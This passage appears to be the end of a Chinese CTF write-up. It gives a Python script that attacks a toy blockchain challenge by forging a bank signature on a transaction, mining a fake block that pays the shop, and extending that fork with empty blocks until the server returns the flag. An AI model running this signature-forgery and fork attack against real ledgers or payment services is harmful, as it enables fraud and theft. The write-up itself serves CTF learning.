  34.     return hash(hash(x)+hash(y))
  35.  
  36. def hash_block(block):
  37.     return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  38.  
  39. def hash_utxo(utxo):
  40.     return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  41.  
  42. def hash_tx(tx):
  43.     return reduce(hash_reducer, [
  44.         reduce(hash_reducer, tx['input'], EMPTY_HASH),
  45.         reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  46.     ])
  47.  
  48. def create_output_utxo(addr_to, amount):
  49.     utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  50.     utxo['hash'] = hash_utxo(utxo)
  51.     return utxo
  52.  
  53. def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
  54.     tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo}  # 修改了签名
  55.     tx['hash'] = hash_tx(tx)
  56.     return tx
  57.  
  58. def create_block(prev_block_hash, nonce_str, transactions):
  59.     if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
  60.     nonce = str(nonce_str)
  61.     if len(nonce) > 128: raise Exception('the nonce is too long')
  62.     block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
  63.     block['hash'] = hash_block(block)
  64.     return block
  65.  
  66.  
  67. # 构造的方法
  68.  
  69. def check_hash(prev, tx):
  70.     for i in range(10000000):
  71.         current_block = create_block(prev, str(i), tx)
  72.         block_hash = int(current_block['hash'], 16)
  73.         if block_hash < DIFFICULTY:
  74.             print(json.dumps(current_block))
  75.             return current_block
  76.  
  77. def create_feak_one():
  78.     utxo_first = create_output_utxo(shop_addr, 1000000)
  79.     tx_first = create_tx([bank_utox_id], [utxo_first])
  80.     return check_hash(prev_one, [tx_first])
  81.  
  82. def create_empty_block(prev):
  83.     return check_hash(prev, [])
  84.  
  85.  
  86. # 攻击过程
  87.  
  88. a = create_feak_one()
  89. print(s.post(url=url_create, data=str(json.dumps(a))).content.decode())
  90. b = create_empty_block(a['hash'])
  91. print(s.post(url=url_create, data=str(json.dumps(b))).content.decode())
  92. c = create_empty_block(b['hash'])
  93. print(s.post(url=url_create, data=str(json.dumps(c))).content.decode())
  94. d = create_empty_block(c['hash'])
  95. print(s.post(url=url_create, data=str(json.dumps(d))).content.decode())
  96. e = create_empty_block(d['hash'])
  97. print(s.post(url=url_create, data=str(json.dumps(e))).content.decode())
  98. print(s.get(url=url_flag).content.decode())

 运行结果如下

 

 ctf{922a488e-f243-4b09-ae2d-fa2725da79ea}

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/知新_RL/article/detail/654563
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号